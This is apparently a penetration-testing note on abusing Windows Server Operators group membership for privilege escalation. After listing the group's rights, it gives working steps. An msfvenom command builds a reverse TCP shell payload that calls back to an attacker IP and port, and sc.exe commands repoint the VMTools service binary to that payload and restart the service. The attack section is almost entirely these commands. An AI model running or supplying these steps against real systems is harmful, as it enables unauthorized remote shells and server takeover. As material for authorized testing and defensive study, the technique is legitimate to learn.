# Server Operators

### Overview

The **Server Operators** group is a built-in security group in Windows Server environments. Members of this group are granted specific administrative privileges that allow them to perform server-related tasks without having full administrative rights.&#x20;

Members of the Server Operators group can take the following actions:

* Sign in to a server interactively
* Create and delete network shared resources
* Stop and start services
* Back up and restore files
* Format the hard disk drive of the device
* Shut down the device

### **Privilege Escalation Steps**

1. We listed services running on the server by issuing \`services\` command in our terminal where we can see list of services are there. Then we noted the service name "**VMTools"** and service binary path for lateral usage.
2. Create a exe payload:

   ```bash
   msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.1.205 lport=8888 -f exe > shell.exe
   ```
3. Send the **shell.exe** to the victim machine.
4. Change the service path and restart the service:

   ```bash
   sc.exe config VMTools binPath="C:\Users\svc-printer\Documents\shell.exe"
   sc.exe stop VMTools
   sc.exe start VMTools
   ```

### References

1. <https://notes.dollarboysushil.com/windows-privilege-escalation/group-privileges/server-operators>
2. <https://www.hackingarticles.in/windows-privilege-escalation-server-operator-group/>


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